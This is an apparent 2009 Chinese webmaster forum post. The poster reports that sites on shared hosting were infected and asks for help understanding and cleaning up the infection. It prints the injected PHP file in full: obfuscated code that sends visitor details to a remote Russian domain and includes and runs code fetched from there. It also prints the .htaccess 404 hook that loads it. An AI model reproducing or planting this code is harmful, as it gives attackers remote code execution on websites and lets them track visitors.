查看單個文章
  #1  
舊 2009-03-09, 08:01 AM
owntag 的頭像
owntag owntag 目前離線
進階會員
 
註冊日期: 2006-07-22
住址: 北京
文章: 1,840
警告 共享服务器下所有的网站都被注入恶意代码,请有经验的朋友帮忙回答一些问题。先谢过!

我最近发现我在一个共享服务器下的所有网站的所有根目录下,都出现了两个文件:一个.htaccess文件,一个随机数字文件名的.php文件。例如:

1. 121521.php,代码如下

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}

2. .htaccess 代码如下

Options -MultiViews
ErrorDocument 404 //rootdir/sales/0309/0309/121521.php

我搜索了一下google,发现从2006年就开始有很多帖子在谈论这个被注入恶意代码的问题。这些代码通常都是通过开源软体比如WP,PHPBB等注入的(看来随时升级真的很必要)。
通常共享服务器上的一个网站通过程序被注入后,这个服务器上所有的网站都会被传播注入。

这些代码都被加密了,decode后基本都是和xmldata.info或7.phpsearch.cn这类网站有关。这些网站都是一些关于网络流量的赚钱公司。我看到一些帖子里有提到这些恶意代码的含义是监控网站的404访问页面被访问情况。还有人提到这是利用搜索引擎来访问到这些文件,从而通过PPC获利(我也不了解究竟怎么样能够实现这个目的?)。这类网站上面描述的是:

引用:
What is this site?
This site helps webmasters to earn money with their sites.

How it works?
Our program generate traffic from search engines and display advertising.

What shell I do to start with you ?
Signup, get php file from member area, put file into your website directory, modify or create .htaccess in the same directory, and receive money !
我对php了解的不多,也看不懂这些代码的含义,所以想问问下面的几个问题,请有经验的版友帮忙解答一下。

1. 这些代码的用途是什么?

2. 被注入恶意代码的网站会受到什么程度的影响?比如:hacker会否获得我网站ftp,mysql甚至hosting的帐户信息?

3. 看起来在没有安全备份的情况下,没有什么办法可以轻松清除掉这些文件。那么在一个一个清除所有目录下的这些恶意文件之前,还需要做什么来防止它们重新生成?我看到一些讨论里写到注入文件的目录均为777具有写权限,只要把所有目录权限设置为755就可以解决了,也有人跟贴说确实设置为755就解决了。但我所有755权限的目录也都被注入了这两个文件...

4. 除了.htacess和数字.php文件外,是否还有其他文件被感染?比如根目录下的.htaccess文件内容,或其他php文件。

此外,我看到有些网站提到可以通过关闭register_globals来防止被注入这类恶意代码,但是我在根目录下的.htaccess中添加 php_flag register_globals 0 之后,网站就出现内部错误提示无法访问了。

问题比较多,sorry,请对此有了解的版友不吝赐教,谢谢。同时提醒一下版友们也都检查一下自己的网站是否有这个问题。

更新一下: 我有三个shared hosting,分属不同hosting公司的,刚全部检查了一下,其中两个服务商的服务器下所有的网站都发现了这个问题。
__________________
DomainName.com

此篇文章於 2009-03-09 08:38 AM 被 owntag 編輯。
回覆時引用此篇文章